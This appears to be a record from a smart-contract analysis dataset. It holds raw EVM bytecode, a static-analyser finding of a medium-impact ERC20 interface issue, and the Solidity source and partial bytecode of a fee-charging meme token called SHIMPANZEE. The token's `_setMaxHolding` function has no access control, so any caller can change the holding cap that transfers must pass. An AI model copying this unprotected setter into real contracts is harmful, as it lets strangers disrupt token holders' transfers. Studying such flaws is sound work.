fffffffffffffffffffff1614151561080c57600080fd5b81600781905550806008819055505b5b5050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b65780601f1061088b576101008083540402835291602001916108b6565b820191906000526020600020905b81548152906001019060200180831161089957829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109df57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a74848484611446565b600190505b9392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ae357600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1157600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b5050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d7957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e0457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b92915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110055780601f10610fda57610100808354040283529160200191611005565b820191906000526020600020905b815481529060010190602001808311610fe857829003601f168201915b505050505081565b60006008543481151561101c57fe5b04905061102a303383611446565b5b50565b611039338383611446565b5b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061106e85856108be565b156111d4578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111695780820151818401525b60208101905061114d565b50505050905090810190601f1680156111965780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111b757600080fd5b6102c65a03f115156111c857600080fd5b505050600191506111d5565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561122c57600080fd5b611237333083611446565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050151561127b57600080fd5b5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112da57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561146c57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114ba57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561154957600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115a257600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115fb57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050505600a165627a7a72305820dad286ba0e90f2d04867b3139579c216cb3e9c0d600ea35d7d647b5f56a21e3c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,728
0x0B1Dd86D6B5C7C8dD89ec662152560432b5190d1
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract shimpanzee is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e5 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"SHIMPANZEE"; string private constant _symbol = unicode"SHIMPANZEE"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _feeRate = 10; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; uint private holdingCapPercent = 1; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } if (to != uniswapV2Pair && to != address(this)) require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached."); // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (9 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 15; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 500 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (100 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function _getMaxHolding() internal view returns (uint256) { return (totalSupply() * holdingCapPercent) / 100; } function _setMaxHolding(uint8 percent) external { require(percent > 0, "Max holding cap cannot be less than 1"); holdingCapPercent = percent; } }
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613077565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b26565b61057e565b6040516101af919061305c565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da9190613299565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ad7565b6105aa565b604051610217919061305c565b60405180910390f35b34801561022c57600080fd5b50610235610683565b6040516102429190613299565b60405180910390f35b34801561025757600080fd5b50610260610693565b60405161026d919061330e565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bb4565b61069c565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c2c565b610783565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b62565b6107d6565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a49565b6108ce565b6040516103259190613299565b60405180910390f35b34801561033a57600080fd5b50610343610925565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a49565b610997565b6040516103799190613299565b60405180910390f35b34801561038e57600080fd5b506103976109e8565b005b3480156103a557600080fd5b506103ae610b3b565b6040516103bb9190612f8e565b60405180910390f35b3480156103d057600080fd5b506103d9610b64565b6040516103e69190613077565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b26565b610ba1565b604051610423919061305c565b60405180910390f35b34801561043857600080fd5b50610441610bbf565b60405161044e919061305c565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a49565b610bd6565b60405161048b9190613299565b60405180910390f35b3480156104a057600080fd5b506104a9610c2d565b005b3480156104b757600080fd5b506104c0610ca7565b005b3480156104ce57600080fd5b506104d7610d6c565b6040516104e49190613299565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612a9b565b610d9e565b6040516105219190613299565b60405180910390f35b34801561053657600080fd5b5061053f610e25565b005b60606040518060400160405280600a81526020017f5348494d50414e5a454500000000000000000000000000000000000000000000815250905090565b600061059261058b611331565b8484611339565b6001905092915050565b6000655af3107a4000905090565b60006105b7848484611504565b610678846105c3611331565b61067385604051806060016040528060288152602001613a0560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610629611331565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e359092919063ffffffff16565b611339565b600190509392505050565b600061068e30610997565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106dd611331565b73ffffffffffffffffffffffffffffffffffffffff16146106fd57600080fd5b60338110610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790613159565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b546040516107789190613299565b60405180910390a150565b60008160ff16116107c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c090613279565b60405180910390fd5b8060ff1660158190555050565b6107de611331565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610862906131b9565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c3919061305c565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261091e919061345f565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610966611331565b73ffffffffffffffffffffffffffffffffffffffff161461098657600080fd5b600047905061099481611e99565b50565b60006109e1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f05565b9050919050565b6109f0611331565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a74906131b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f5348494d50414e5a454500000000000000000000000000000000000000000000815250905090565b6000610bb5610bae611331565b8484611504565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c26919061345f565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c6e611331565b73ffffffffffffffffffffffffffffffffffffffff1614610c8e57600080fd5b6000610c9930610997565b9050610ca481611f73565b50565b610caf611331565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d33906131b9565b60405180910390fd5b6001601360146101000a81548160ff021916908315150217905550606442610d64919061337e565b601481905550565b6000610d99601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610997565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2d611331565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb1906131b9565b60405180910390fd5b601360149054906101000a900460ff1615610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0190613239565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000611339565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fdd57600080fd5b505afa158015610ff1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110159190612a72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107757600080fd5b505afa15801561108b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110af9190612a72565b6040518363ffffffff1660e01b81526004016110cc929190612fa9565b602060405180830381600087803b1580156110e657600080fd5b505af11580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e9190612a72565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111a730610997565b6000806111b2610b3b565b426040518863ffffffff1660e01b81526004016111d496959493929190612ffb565b6060604051808303818588803b1580156111ed57600080fd5b505af1158015611201573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112269190612bdd565b50505064746a52880060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112db929190612fd2565b602060405180830381600087803b1580156112f557600080fd5b505af1158015611309573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132d9190612b8b565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a090613219565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611419576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611410906130d9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114f79190613299565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156b906131f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90613099565b60405180910390fd5b60008111611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e906131d9565b60405180910390fd5b61162f610b3b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169d575061166d610b3b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7257601360159054906101000a900460ff16156117a357600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a2576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffff